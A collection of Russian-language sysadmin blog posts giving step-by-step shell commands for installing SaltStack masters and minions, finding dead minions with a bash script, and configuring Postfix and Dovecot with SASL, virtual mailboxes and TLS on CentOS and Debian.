Это может решить проблему в случае у вас меньше 10-ка управляемых хостов.
Но если их несколько 10-тков или 100-тен то быть уверенным в том что при деплое проекта на все машины будет залит код, и всё будет корректно настроено.

Таким образом я дошел до bash'ового скрипто-ложества.

Вообще есть мысль оформить это модулем к Salt'y и запушить в проект, но отложим это на то время когда будет время.

#!/bin/bash -   
#title          :salt_dead_spirits.sh
#description    :The script for search a dead spirits in SaltStack
#author         :Artem Chekunov <scorp.dev.null@gmail.com>
#date           :20130529
#version        :0.1    
#usage          :./salt_dead_spirits.sh
#notes          :       
#bash_version   :4.2.37(1)-release
#============================================================================

_Tfile=$(tempfile)

salt '*' test.ping | grep -v True | sed -e 's/://g' > ${_Tfile}
salt-key -L | grep -v Keys >> ${_Tfile} 

cat ${_Tfile} | sort | uniq -c | sort -n | awk '{ if($1 ~ 1) print $2 }'

rm -f ${_Tfile}

На выходе должен появиться список хостов(ключей) которые не доступны в данный момент.

ВАЖНО: Удалять мёртвые души поскольку их наличие заметно замедляет групповое управление нодами

ЕЩЁ ВАЖНО: Кстати говоря, заметил такую вещь.
Иногда миньоны анонсируют свои ключи и для имени хоста и для полного имени хоста с доменом пример(myhost1, myhost1.mycompany.ltd) в таких случаях миньоны будут отвечать только при запросе на myhost1.mycompany.ltd Соответственно чтобы не путаться необходимо удалить ключи привязанные к хостнэйму без домена, пример(salt-key -d myhost1)

Включаем поддержку TLS/SSL для Dovecot в CentOS x86_64

2013-04-30T01:07:00.000+07:00

English: (Photo credit: Wikipedia)

Логическим продолжением статьи Postfix и Dovecot SASL + VirtualHosts в CentOS 6 x86_64 стала текущая тема.

Хочется заранее предупредить, если вы только что поставили Dovecot, и собираетесь использовать самоподписной сертификат, то не беспокойтесь.
Dovecot уже сгенерировал его и служить он будет целый год.

Если же уже прошел год, и вы желаете продолжать использовать самоподпись то воспользуйтесь этим скриптом для перегенерации сертификата.

/usr/libexec/dovecot/mkcert.sh

Если же вы купили честный сертификат, то читаем дальше.

В начале начал как всегда нужно сделать BackUP конфига

cp /etc/dovecot/conf.d/10-ssl.conf{,.bak_$(date +%Y%m%d_%R)}

И открыть порты в iptables

iptables -I INPUT 1 -m state --state NEW -m tcp -p tcp --dport 993 -j ACCEPT
iptables -I INPUT 1 -m state --state NEW -m tcp -p tcp --dport 995 -j ACCEPT
/etc/init.d/iptables save
 iptables: Saving firewall rules to /etc/sysconfig/iptables:[  OK  ]

Пропишем в конфиге местоположение честных сертификатов

sed -i -e 's/^ssl_cert =.*/ssl_cert = \<\/etc\/ssl\/certs\/server.crt/g'\
 /etc/dovecot/conf.d/10-ssl.conf
sed -i -e 's/^ssl_key =.*/ssl_key = \<\/etc\/ssl\/private\/server.key/g'\
 /etc/dovecot/conf.d/10-ssl.conf

И конечно не забудем перезапустить демона

/etc/init.d/dovecot restart
 Stopping Dovecot Imap:                                     [  OK  ]
 Starting Dovecot Imap:                                     [  OK  ]

Читайте так же Включаем поддержку TLS/SSL в Postfix

Включаем поддержку TLS/SSL в Postfix

2013-04-30T00:24:00.000+07:00

English: (Photo credit: Wikipedia)

Логическим продолжением статьи Postfix и Dovecot SASL + VirtualHosts в CentOS 6 x86_64 стала текущая тема.

В начале начал как всегда нужно сделать BackUP конфига

cp /etc/postfix/main.cf{,.bak_$(date +%Y%m%d_%R)}

Сама процедура настройки занимает всего несколько строчек

# объявляем хостнейм для которого выдан сертификат 
postconf -e 'myhostname = mail.example1.com'

# Рассказываем постфиксу тайну золотого ключика
postconf -e 'smtpd_tls_key_file = /etc/ssl/private/server.key'
postconf -e 'smtpd_tls_cert_file = /etc/ssl/certs/server.crt'

# и делаем еще несколько настроек значение см. офф. док.
postconf -e 'smtp_tls_security_level = may'
postconf -e 'smtpd_tls_security_level = may'
postconf -e 'smtp_tls_note_starttls_offer = yes'
postconf -e 'smtpd_tls_loglevel = 1'
postconf -e 'smtpd_tls_received_header = yes'

И конечно не забудем перезапустить демона

/etc/init.d/postfix restart
Shutting down postfix:                                     [  OK  ]
Starting postfix:                                          [  OK  ]

Читайте так же Включаем поддержку TLS/SSL для Dovecot в CentOS x86_64

Postfix и Dovecot SASL + VirtualHosts в CentOS 6 x86_64

2013-04-29T01:35:00.001+07:00

Иногда случается нужда в развёртывании почты, но и вроде пользователей не так много чтобы городить жирные системы с базами данных в MySQL или PostgreSQL. Хотя с другой стороны и виртуальных пользователей хочется, и еще кое какие плюшки. Перед написанием статьи я очень много рыскал в интернетах, но статьи что попадались мне как правило были либо нацелены на слишком крупные системы, либо были сильно устаревшие и использовали уже не существующий синтаксис конфигов, либо, либо, либо...

Вообщем если кратко, то эта статья про то как настроить Postfix+Dovrcot+SASL виртуальными доменами и виртуальными пользователями и базой пользователей в текстовом файлике.

Очень часто бывает, что сервер с CentOS попадается multiarch, что чревато проблемами от простой установки не нужных 32х битных дубликатов всех пакетов до серьёзных конфликтов в зависимостях. По этой причине считается хорошим тоном отключать возможность инсталляции пакетов 32х битной архитектуры на 64х битной системе, что мы и сделаем при установке.

Готовим базис

Поставим необходимые нам в настройке пакеты

echo 'exclude=*.i386 *.i686' >> /etc/yum.conf
yum install postfix postfix-perl-scripts dovecot mailx telnet -y

Чтобы убедиться что мы с вами работаем с одинаковыми мажорными ветками, сверим ПО.
Это необходимо, поскольку у разных веток одного софта, может быть разный синтаксис.

rpm -qa | egrep 'postfix|dovecot'
 dovecot-2.0.9-5.el6.x86_64
 postfix-2.6.6-2.2.el6_1.x86_64
 postfix-perl-scripts-2.6.6-2.2.el6_1.x86_64

Убедимся что они запускаются чтобы не было мучительно больно

service postfix start
 Starting postfix:                                          [  OK  ]
service dovecot start
 Starting Dovecot Imap:                                     [  OK  ]

Ну и закрепим их в автозапуске

chkconfig postfix on
chkconfig dovecot on

Можно приступать к конфигурации системы
Пока не забыли добавим пользователя который будет являться владельцем писем всех пользователей.

groupadd -g 5000 vmail
useradd -m -u 5000 -g 5000 -s /bin/bash vmail

Конфигурация Postfix

У Postfix'a есть замечательный набор конфигурационных скриптов, который избавляет нас от необходимости лазить по конфигу в поисках той или иной опции, и делает процесс настройки более наглядным и если у вас правильно настроен .bashrc, то и позволяет использовать .bash_history в качестве документа изменений конфигурации.

ВСЕГДА делайте BackUP конфигов перед их изменением, а лучше заведите сервер контроля версий типа Git или SVN для конфигов.

cp /etc/postfix/main.cf{,.bak}

Теперь можно менять конфигурацию

# Сделаем базовые настройки
postconf -e 'mail_spool_directory = /var/spool/mail'
postconf -e 'mynetworks = 127.0.0.0/8'

postconf -e 'inet_interfaces = all'
postconf -e 'myhostname = mail.example1.com'
postconf -e 'mydestination = $myhostname, localhost.$mydomain, localhost'
postconf -e 'home_mailbox = Maildir/'
postconf -e 'recipient_delimiter = +'
postconf -e 'mailbox_size_limit = 0'
postconf -e 'alias_maps = hash:/etc/aliases'
postconf -e 'alias_database = hash:/etc/aliases'

# Расскажем Postfix'y где наш SASL свой socket отрастил
postconf -e 'smtpd_sasl_type = dovecot'
postconf -e 'smtpd_sasl_path = private/auth'
postconf -e 'smtpd_sasl_local_domain ='
postconf -e 'smtpd_sasl_security_options = noanonymous'
postconf -e 'broken_sasl_auth_clients = yes'
postconf -e 'smtpd_sasl_auth_enable = yes'
postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination'

# Расскажем Postfix'y где список доменов зарыли, и куда нынче принято письма складывать 
postconf -e 'virtual_mailbox_domains = /etc/postfix/vhosts'
postconf -e 'virtual_mailbox_base = /home/vmail'
postconf -e 'virtual_mailbox_maps = hash:/etc/postfix/vmaps'
postconf -e 'virtual_minimum_uid = 1000'
postconf -e 'virtual_uid_maps = static:5000'
postconf -e 'virtual_gid_maps = static:5000'

Перечислим все обслуживаемые домены в файле /etc/postfix/vhosts

cat >> /etc/postfix/vhosts <<EOF
example1.com
example2.com
EOF

И создадим карту маппинга дабы направлять потоки почты в нужные директории а так же одаривать пользователей новыми именами. Синтаксис не сложный, как видно из текста ниже за адресом почты следует относительный путь, и соотносится он с директорией /home/vmail .

touch /etc/postfix/vmaps

А так можно описать алиасы

cat >> /etc/postfix/vmaps <<EOF
info@example1.com  example1.com/info/
hr@example1.com  example1.com/info/
support@example1.com  example1.com/support/
info@example2.com  example2.com/info/
sales@example2.com  example2.com/sales/
EOF

После того как опишите файл скомпилируйте его

postmap /etc/postfix/vmaps

Ну и перезапустим postfix

/etc/init.d/postfix restart

Настало время первой отправки, скрещиваем все что скрещивается, пробуем

echo test-body | mail -s "test-subject" info@example1.com

У нас должен появиться файл в директории /home/vmail/example1.com/info/new/

А директория должна создаться сама, если этого не произошло смотрим /var/log/maillog и ищем где оступились

Проверим результат

ls -la /home/vmail/example1.com/info/new/*
-rw-------. 1 vmail vmail 526 Apr 28 01:39 /home/vmail/example1.com/info/new/1367087988.Vfd00I1fb6dM872595.test-mail
cat /home/vmail/example1.com/info/new/1367087988.Vfd00I1fb6dM872595.test-mail 
Return-Path: <root@mail.example.com>
X-Original-To: info@example1.com
Delivered-To: info@example1.com
Received: by mail.example.com (Postfix, from userid 0)
 id D288977F; Sun, 28 Apr 2013 01:39:48 +0700 (OMST)
Date: Sun, 28 Apr 2013 01:39:48 +0700
To: info@example1.com
Subject: test-subject
User-Agent: Heirloom mailx 12.4 7/29/08
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20130427183948.D288977F@mail.example.com>
From: root@mail.example.com (root)

test-body

Если всё ok то идём дальше

Конфигурация Dovecot

С синтаксисом конфигов на мой взгляд dovecot'y повезло меньше, по этому в этой секции будет несколько "пойди туда, щас скажу куда, сделай то щас скажу что"

Как всегда первым делом бэкапим конфиги. По скольку тут конфигурация раскидана по нескольким файлам, я буду копировать всю директорию.

cp -a /etc/dovecot{,.bak}

Настраиваем многочисленные опции в многочисленных файлах

# Рассказываем Dovecot'y откуда почта берётся. Кстати %d = домен , %n = user@домен
sed -i -e 's/#mail_location.*/mail_location = maildir:\/home\/vmail\/%d\/%n/g'\
 /etc/dovecot/conf.d/10-mail.conf

# настраиваем chroot_dirs
sed -i -e 's/#valid_chroot_dirs.*/valid_chroot_dirs = \/var\/spool\/vmail/g'\
 /etc/dovecot/conf.d/10-mail.conf

# Включим поддержку протоколов которые будем использовать при Аутентификации
sed -i -e 's/^auth_mechanisms.*/auth_mechanisms = plain login cram-md5/g'\
 /etc/dovecot/conf.d/10-auth.conf

# настраиваем base_dir
sed -i -e 's/#base_dir.*/base_dir = \/var\/run\/dovecot\//g'\
 /etc/dovecot/dovecot.conf

# настраиваем протоколы которые собираемся использовать
sed -i -e 's/#protocols.*/protocols = imap pop3/g'\
 /etc/dovecot/dovecot.conf

# настраиваем логирование
sed -i -e 's/#auth_verbose =.*/auth_verbose = yes/g'\
 /etc/dovecot/conf.d/10-logging.conf
sed -i -e 's/#info_log_path.*/info_log_path = \/var\/log\/dovecot.info/g'\
 /etc/dovecot/conf.d/10-logging.conf
sed -i -e 's/#log_path.*/log_path = \/var\/log\/dovecot/g'\
 /etc/dovecot/conf.d/10-logging.conf
sed -i -e 's/#log_timestamp.*/log_timestamp = "%b %d %H:%M:%S "/g'\
 /etc/dovecot/conf.d/10-logging.conf

В случае если вы не планируете использовать шифрование (НЕ РЕКОМЕНДУЕТСЯ)

# Включаем поддержку не шифрованной Аутентификации
sed -i -e 's/#disable_plaintext_auth.*/disable_plaintext_auth = no/g'\
 /etc/dovecot/conf.d/10-auth.conf
# отрубаем SSL
sed -i -e 's/#ssl =.*/ssl = no/g'\
 /etc/dovecot/conf.d/10-ssl.conf

Ну и вот обещанное пойди в /etc/dovecot/conf.d/10-master.conf найди и приведи к следующему виду секцию в файле.
Этим жестом мы откроем postfix'y дверцу в мысли dovecot'a через sasl

# Postfix smtp-auth
  unix_listener /var/spool/postfix/private/auth {
    mode = 0660
    user = postfix
    group = postfix
  }

Продолжаем веселиться

# Отрубаем системную аутентификацию
sed -i -e 's/!include auth-system.conf.ext/#!include auth-system.conf.ext/g'\

 /etc/dovecot/conf.d/10-auth.conf

# И подключаем аутентификацию по файлику
sed -i -e 's/#!include auth-passwdfile.conf.ext/!include auth-passwdfile.conf.ext/g'\
 /etc/dovecot/conf.d/10-auth.conf

Немножко подправим схему в фале /etc/dovecot/conf.d/auth-passwdfile.conf.ext

# ПРЕДВАРИТЕЛЬНО его ЗАБЭКАПИВ, да снова, на всякийслучай
cp /etc/dovecot/conf.d/auth-passwdfile.conf.ext{,.bak}

# запишем файл 
cat > /etc/dovecot/conf.d/auth-passwdfile.conf.ext <<EOF

passdb {
  args = scheme=CRYPT /etc/dovecot/passwd
  driver = passwd-file
}

userdb {
  args = /etc/dovecot/users
  driver = passwd-file
}


EOF

Создадим скрипт добавления пользователей

cat > /usr/local/sbin/adddovecotuser <<EOF
#!/bin/bash

maildirmake.dovecot(){
dir="\$1"
owner="\$2"
if [ -z "\$dir" ]; then
  echo "Must supply a directory path"
  exit 1
fi

if [ "\$dir" = "-h" ]; then
  echo "usage: \$0 directory [user]"
  exit 0
fi

umask 077
mkdir -p "\$dir/cur" "\$dir/new" "\$dir/tmp" || exit 1
chmod 0700 "\$dir" "\$dir/cur" "\$dir/new" "\$dir/tmp" || exit 1

if [ -n "\$owner" ]; then
  chown -R "\$owner" "\$dir" || exit 1
fi

}

if [ ! \$# = 1 ]
 then
  echo "Usage: \$0 username@domain"
  exit 1
 else
  user=\`echo "\$1" | cut -f1 -d "@"\`
  domain=\`echo "\$1" | cut -s -f2 -d "@"\`
  if [ -x \$domain ]
   then
    echo "No domain given\nUsage: \$0 username@domain"
    exit 2
  fi
  echo "Adding user \$user@\$domain to /etc/dovecot/users"
  echo "\$user@\$domain::5000:5000::/home/vmail/\$domain/\$user/:/bin/false::" >> /etc/dovecot/users

  # Create the needed Maildir directories
  echo "Creating user directory /home/vmail/\$domain/\$user"
  # maildirmake.dovecot does only chown on user directory, we'll create domain directory instead
  if [ ! -x /home/vmail/\$domain ]
   then
    mkdir /home/vmail/\$domain
    chown 5000:5000 /home/vmail/\$domain
    chmod 700 /home/vmail/\$domain
  fi
  maildirmake.dovecot /home/vmail/\$domain/\$user 5000:5000
  # Also make folders for Drafts, Sent, Junk and Trash
  maildirmake.dovecot /home/vmail/\$domain/\$user/.Drafts 5000:5000
  maildirmake.dovecot /home/vmail/\$domain/\$user/.Sent 5000:5000
  maildirmake.dovecot /home/vmail/\$domain/\$user/.Junk 5000:5000
  maildirmake.dovecot /home/vmail/\$domain/\$user/.Trash 5000:5000

  # To add user to Postfix virtual map file and relode Postfix
  echo "Adding user to /etc/postfix/vmaps"
  echo \$1  \$domain/\$user/ >> /etc/postfix/vmaps
  postmap /etc/postfix/vmaps
  postfix reload
fi
echo "\nCreate a password for the new email user"
#SWAP THE FOLLOWING passwd LINES IF USING A UBUNTU VERSION PRIOR TO 12.04
#passwd=\`dovecotpw\`
passwd=\`doveadm pw -u \$user\`
echo "Adding password for \$user@\$domain to /etc/dovecot/passwd"
if [ ! -x /etc/dovecot/passwd ]
 then
  touch /etc/dovecot/passwd
  chmod 640 /etc/dovecot/passwd
fi
echo  "\$user@\$domain:\$passwd" >> /etc/dovecot/passwd

exit 0
EOF

chmod +x /usr/local/sbin/adddovecotuser

И попробуем им воспользоваться

/usr/local/sbin/adddovecotuser user1@example1.com
 Adding user user1@example1.com to /etc/dovecot/users
 Creating user directory /home/vmail/example1.com/user1
 Adding user to /etc/postfix/vmaps
 postfix/postfix-script: refreshing the Postfix mail system
 \nCreate a password for the new email user
 Enter new password: 
 Retype new password: 
 Adding password for user1@example1.com to /etc/dovecot/passwd

Теперь когда файлы users и passwd лежат на диске, зададим для них корректные права

chgrp dovecot /etc/dovecot/users /etc/dovecot/passwd
chmod 640 /etc/dovecot/users /etc/dovecot/passwd

Для большего понимания ситуации рассмотрим синтаксис файлов users и passwd

cat /etc/dovecot/users
user1@example1.com::5000:5000::/home/vmail/example1.com/user1/:/bin/false::
^user  ^domain       ^uid ^gid                           ^mail_dir  ^user_shell

cat /etc/dovecot/passwd 
user1@example1.com:{CRAM-MD5}3da65e0449ed4c842c48cf6467351753cf3c1398404e8ae9c54dc3784f0890e7
^user  ^domain       ^password_hash

Создадим скрипт удаления пользователя

cat > /usr/local/sbin/deldovecotuser <<EOF
#!/bin/bash
#
# deldovecotuser - for deleting virtual dovecot users
#
if [ ! \$# = 1 ]
 then
  echo -e "Usage: \$0 username@domain"
  exit 1
 else
  user=\`echo "\$1" | cut -f1 -d "@"\`
  domain=\`echo "\$1" | cut -s -f2 -d "@"\`
  if [ -x \$domain ]
   then
    echo -e "No domain given\nUsage: \$0 username@domain: "
    exit 2
  fi
fi
read -n 1 -p "Delete user \$user@\$domain from dovecot? [Y/N]? "
echo
case \$REPLY in
 y | Y)
  new_users=\`grep -v \$user@\$domain /etc/dovecot/users\`
  new_passwd=\`grep -v \$user@\$domain /etc/dovecot/passwd\`
  new_vmaps=\`grep -v \$user@\$domain /etc/postfix/vmaps\`
  echo "Deleting \$user@\$domain from /etc/dovecot/users"
  echo "\$new_users" > /etc/dovecot/users
  echo "Deleting \$user@\$domain from /etc/dovecot/passwd"
  echo "\$new_passwd" > /etc/dovecot/passwd
  echo "Deleting \$user@\$domain from /etc/postfix/vmaps"
  echo "\$new_vmaps" > /etc/postfix/vmaps
  postmap /etc/postfix/vmaps
  postfix reload
  read -n1 -p "Delete all files in /home/vmail/\$domain/\$user? [Y/N]? " DELETE
  echo
  case \$DELETE in
   y | Y)
    echo "Deleting files in /home/vmail/\$domain/\$user"
    rm -fr /home/vmail/\$domain/\$user
   ;;
   * )
    echo "Not deleting files in /home/vmail/\$domain/\$user"
   ;;
  esac
 ;;
 * )
  echo "Aborting..."
 ;;
esac
EOF

chmod +x /usr/local/sbin/deldovecotuser

И попробуем удалить пользователя( я предварительно создал пользователя bad-user)

/usr/local/sbin/deldovecotuser bad-user@example1.com
 Delete user bad-user@example1.com from dovecot? [Y/N]? y
 Deleting bad-user@example1.com from /etc/dovecot/users
 Deleting bad-user@example1.com from /etc/dovecot/passwd
 Deleting bad-user@example1.com from /etc/postfix/vmaps
 postfix/postfix-script: refreshing the Postfix mail system
 Delete all files in /home/vmail/example1.com/bad-user? [Y/N]? y
 Deleting files in /home/vmail/example1.com/bad-user

Разрешим порты в IPtables

iptables -I INPUT 1 -m state --state NEW -m tcp -p tcp --dport 25 -j ACCEPT
iptables -I INPUT 1 -m state --state NEW -m tcp -p tcp --dport 110 -j ACCEPT
iptables -I INPUT 1 -m state --state NEW -m tcp -p tcp --dport 143 -j ACCEPT
/etc/init.d/iptables save
 iptables: Saving firewall rules to /etc/sysconfig/iptables:[  OK  ]

Ну и не забудьте всё перезапустить

/etc/init.d/dovecot restart
 Stopping Dovecot Imap:                                     [  OK  ]
 Starting Dovecot Imap:                                     [  OK  ]
/etc/init.d/postfix restart
 Shutting down postfix:                                     [  OK  ]
 Starting postfix:                                          [  OK  ]

Теперь попробуйте подключиться и протестировать как ходят письма

Если у вас есть желание настроить SSL/TLS то читаем дальше

ниже инфа по теме

#######################
https://help.ubuntu.com/community/PostfixVirtualMailBoxClamSmtpHowto

http://help.ubuntu.ru/wiki/%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_ubuntu_server/%D0%BF%D0%BE%D1%87%D1%82%D0%BE%D0%B2%D1%8B%D0%B5_%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D1%8B/postfix

http://wiki2.dovecot.org/BasicConfiguration

https://help.ubuntu.com/community/Postfix#Dovecot_SASL

http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL

http://wiki.centos.org/HowTos/postfix_sasl

http://www.postfix.org/SASL_README.html#server_dovecot

http://wiki2.dovecot.org/AuthDatabase/PasswdFile

http://www.adomas.org/2006/08/postfix-dovecot/

http://wiki.centos.org/HowTos/postfix_sasl?highlight=%28%28HowTos%7Cpostfix%29%29

http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL

http://wiki.dovecot.org/FindMailLocation

http://www.postfix.org/SASL_README.html#server_dovecot

http://wiki2.dovecot.org/AuthDatabase/PasswdFile

http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL

SaltStack - Установка saltstack-minion на CentOS

2013-04-26T14:00:00.000+07:00

Что такое SaltStack и с чем его едят я описал тут
В текущей статье я опишу как установить SaltStack-minion на CentOS
Этот мануал подходит для CentOS 5/6 x68_64/i386

Кстати говоря saltstack-master можно установить таким же образом

Устанавливаем saltstack-minion

Прежде всего необходимо подключить последнюю версию репозитория EPEL

rpm -Uvh http://download.fedoraproject.org/pub/epel/$(grep -o -P '\d' /etc/issue\
 | head -n1)/$(arch)/$(wget -O - http://download.fedoraproject.org/pub/epel/\
$(grep -o -P '\d' /etc/issue | head -n1)/$(arch)/ 2> /dev/null\
 | grep -o -P 'epel-release-\d-\d\.noarch\.rpm' | head -n1)

Теперь можно приступить к самой установке

yum --enablerepo=epel-testing install salt-minion -y
/etc/init.d/salt-minion start
/sbin/chkconfig salt-minion on

Минимальная настройка saltstack-minion

По умолчанию saltstack-minion пытается подключиться к серверу с хостнеймом salt но если у вашего saltstack-master'a другое имя, или он не имеет имени, то поправить это можно в файле /etc/salt/minion

Пример:

- #master: salt
+ master: 10.0.0.1

Осталось перезапустить миньёна:

/etc/init.d/salt-minion restart

SaltStack - Установка saltstack-minion на Ubuntu

2013-04-25T16:51:00.000+07:00

Что такое SaltStack и с чем его едят я описал тут
В текущей статье я опишу как установить SaltStack-minion на Ubuntu

Кстати говоря saltstack-master можно установить таким же образом

Устанавливаем saltstack-minion

sudo apt-get install python-software-properties\
 software-properties-common -y
sudo add-apt-repository ppa:saltstack/salt -y
sudo apt-get update
sudo apt-get install salt-minion -y

Минимальная настройка saltstack-minion

Пример:

- #master: salt
+ master: 10.0.0.1

Осталось перезапустить миньёна:

/etc/init.d/salt-minion restart

SaltStack - Установка saltstack-minion на Debian Wheezy x86_64

2013-04-25T14:42:00.000+07:00

Что такое SaltStack и с чем его едят я описал тут
В текущей статье я опишу как установить SaltStack-minion на Debian Wheezy.

Устанавливаем saltstack-minion из репозитария

cat > /etc/apt/sources.list.d/salt.list <<EOF
deb http://debian.saltstack.com/debian wheezy-saltstack main
EOF
wget -q -O- "http://debian.saltstack.com/debian-salt-team-joehealy.gpg.key" | apt-key add -
apt-get update
apt-get install salt-minion -y

Если по какой то причине вы хотите собрать её в ручную то:

Устанавливаем saltstack-minion из исходников

Установим всё что необходимо для сборки

apt-get update
apt-get install build-essential fakeroot python-argparse\
 python-zmq debhelper python-sphinx python-crypto\
 python-m2crypto python-yaml msgpack-python -y

стянем исходники с github'a

mkdir -p /usr/src
cd /usr/src
git clone https://github.com/saltstack/salt.git
cd salt
fakeroot debian/rules binary

теперь приступим к установке(то что описано ниже, это не опечатка, а костыль)

dpkg -i ../salt-common_*.deb ../salt-minion*.deb
apt-get -f install
dpkg -i ../salt-common_*.deb ../salt-minion*.deb

Минимальная настройка saltstack-minion

Пример:

- #master: salt
+ master: 10.0.0.1

Осталось перезапустить миньёна:

/etc/init.d/salt-minion restart

SaltStack - Установка saltstack-master на Debian Squeeze x86_64

2013-04-22T16:57:00.000+07:00

Что такое SaltStack и с чем его едят я описал тут

В текущей статье я опишу как установить SaltStack-master на Debian.

Устанавливаем saltstack-master

В начале начал следует подключить backports для того чтобы удовлетворить все возможные зависимости SaltStack'a.

echo deb http://backports.debian.org/debian-backports/ \
 squeeze-backports main > \
 /etc/apt/sources.list.d/backports.list

apt-get update
apt-get dist-upgrade -y

добавляем репозиторий

cat <<_eof > /etc/apt/sources.list.d/local-madduck-backports.list
    deb http://debian.madduck.net/repo squeeze-backports main
    deb-src http://debian.madduck.net/repo squeeze-backports main
_eof

и настраиваем приоритеты

for i in salt-{common,master,minion,syndic,doc} sysvinit-utils; do
echo "Package: $i"
echo "Pin: release a=squeeze-backports"
echo "Pin-Priority: 600"
echo
done > /etc/apt/preferences.d/local-salt-backport.pref

осталось импортировать ключ

wget -q -O- "http://debian.madduck.net/repo/gpg/archive.key" | apt-key add -
apt-get update

и приступить к установке

apt-get install salt-master

небольшое отступление, для отладки и поиска неполадок вы можете запустить salt-master вручную в отладочном режиме

salt-master --log-level=debug

Как установить saltstack-minion читайте тут.

Минимальная настройка saltstack-master

По умолчанию saltstack-master слушает на всех интерфейсах, на портах 4505 и 4506.

если вам нужно изменить сей факт то вам придётся отредактировать файл /etc/salt/master

Пример:

- #interface: 0.0.0.0
+ interface: 10.0.0.1

Если у вас много миньёнов то нужно увеличить количество открытых дескрипторов в системе

# раскоментируем соответствующую опцию в конфиге
sed -i -e 's/^#max_open_files/max_open_files/g' /etc/salt/master

# увеличим количество лимитов в системе
cat >> /etc/security/limits.conf <<EOF
# wildcard does not work for root, but for all other users
*               soft     nofile           4096
*               hard     nofile           32768
# settings should also apply to root
root            soft     nofile           100000
root            hard     nofile           100000
EOF

# и дабы не перезапускать сессию в ожидании чуда увеличим лимиты на лету 
ulimit -n 100000

# осталось перезапустить демона
/etc/init.d/salt-master restart
 Restarting salt master control daemon: salt-masterStopping salt master control daemon ....
 Starting salt-master daemon: :.
 .

Управление ключами saltstack-master

Вся коммуникация между мастером и миньёном происходит при помощи AES шифрования, путём доверия разрешенным сертификатам.

Немножко синтаксиса

salt-key -h
...
    -L, --list-all      Отобразить все публичные ключи
    -A, --accept-all    Разрешить  все публичные ключи
    -R, --reject-all    Запретить  все публичные ключи
    -d DELETE, --delete=DELETE Удалить публичный ключ
    -D, --delete-all    Удалить  все публичные ключи

на данный момент к моему мастеру пытается подключиться только один миньён

Выведем полный список ключей:

salt-key -L
 Accepted Keys:
 Unaccepted Keys:
     saltstack-minion
 Rejected Keys:

Разрешим все ключи, и посмотрим что получилось:

salt-key -A
 Key for minion saltstack-minion accepted.
salt-key -L
 Accepted Keys:
     saltstack-minion
 Unaccepted Keys:
 Rejected Keys:

После добавления вышеуказанным образом мы можем проверить как доступность всего парка миньёнов, так и конкретную машину.

Проверим доступность машин:

salt '*' test.ping
 saltstack-minion:
     True
 saltstack-minion2:
     True
 saltstack-minion3:
     True
salt 'saltstack-minion' test.ping
 saltstack-minion:
     True

Попробуем обновить систему на всех Debian системах

Пример:

salt -G 'os:Debian' cmd.run 'apt-get update; apt-get dist-upgrade -y'
saltstack-minion:
    Hit http://mirror.yandex.ru squeeze Release.gpg
    Ign http://mirror.yandex.ru/debian/ squeeze/main Translation-en
    Hit http://mirror.yandex.ru squeeze-updates Release.gpg
    Ign http://mirror.yandex.ru/debian/ squeeze-updates/main Translation-en
    Hit http://mirror.yandex.ru squeeze Release
    Hit http://mirror.yandex.ru squeeze-updates Release
    Hit http://security.debian.org squeeze/updates Release.gpg
    Ign http://security.debian.org/ squeeze/updates/main Translation-en
    Hit http://mirror.yandex.ru squeeze/main Sources
    Hit http://mirror.yandex.ru squeeze/main amd64 Packages
    Hit http://backports.debian.org squeeze-backports Release.gpg
    Ign http://backports.debian.org/debian-backports/ squeeze-backports/main Translation-en
    Hit http://debian.madduck.net squeeze-backports Release.gpg
    Ign http://debian.madduck.net/repo/ squeeze-backports/main Translation-en
    Hit http://mirror.yandex.ru squeeze-updates/main Sources/DiffIndex
    Hit http://mirror.yandex.ru squeeze-updates/main amd64 Packages/DiffIndex
    Hit http://security.debian.org squeeze/updates Release
    Hit http://mirror.yandex.ru squeeze-updates/main amd64 Packages
    Hit http://backports.debian.org squeeze-backports Release
    Hit http://debian.madduck.net squeeze-backports Release
    Hit http://security.debian.org squeeze/updates/main Sources
    Hit http://backports.debian.org squeeze-backports/main amd64 Packages
    Hit http://debian.madduck.net squeeze-backports/main Sources
    Hit http://security.debian.org squeeze/updates/main amd64 Packages
    Hit http://debian.madduck.net squeeze-backports/main amd64 Packages
    Reading package lists...
    Reading package lists...
    Building dependency tree...
    Reading state information...
    The following packages will be upgraded:
      sysvinit-utils
    1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
    Need to get 99.2 kB of archives.
    After this operation, 12.3 kB disk space will be freed.
    Get:1 http://debian.madduck.net/repo/ squeeze-backports/main sysvinit-utils amd64 2.88dsf-34~bpo60+1~madduck.1 [99.2 kB]
    Fetched 99.2 kB in 0s (162 kB/s)
    (Reading database ... 38635 files and directories currently installed.)
    Preparing to replace sysvinit-utils 2.88dsf-13.1+squeeze1 (using .../sysvinit-utils_2.88dsf-34~bpo60+1~madduck.1_amd64.deb) ...
    Unpacking replacement sysvinit-utils ...
    Processing triggers for man-db ...
    Setting up sysvinit-utils (2.88dsf-34~bpo60+1~madduck.1) ...

Полный список модулей SaltStack вы найдёте тут

Как писать свои модули, вы можете прочитать тут

SaltStack - Установка saltstack-minion на Debian Squeeze x86_64

2013-04-22T16:52:00.001+07:00

Что такое SaltStack и с чем его едят я описал тут
В текущей статье я опишу как установить SaltStack-minion на Debian.

Устанавливаем saltstack-minion

В начале начал следует подключить backports для того чтобы удовлетворить все возможные зависимости SaltStack'a.

echo deb http://backports.debian.org/debian-backports/ \
 squeeze-backports main > \
 /etc/apt/sources.list.d/backports.list

apt-get update
apt-get dist-upgrade -y

добавляем репозиторий

cat <<_eof > /etc/apt/sources.list.d/local-madduck-backports.list
    deb http://debian.madduck.net/repo squeeze-backports main
    deb-src http://debian.madduck.net/repo squeeze-backports main
_eof

и настраиваем приоритеты

for i in salt-{common,master,minion,syndic,doc} sysvinit-utils; do
echo "Package: $i"
echo "Pin: release a=squeeze-backports"
echo "Pin-Priority: 600"
echo
done > /etc/apt/preferences.d/local-salt-backport.pref

осталось импортировать ключ

wget -q -O- "http://debian.madduck.net/repo/gpg/archive.key" | apt-key add -
apt-get update

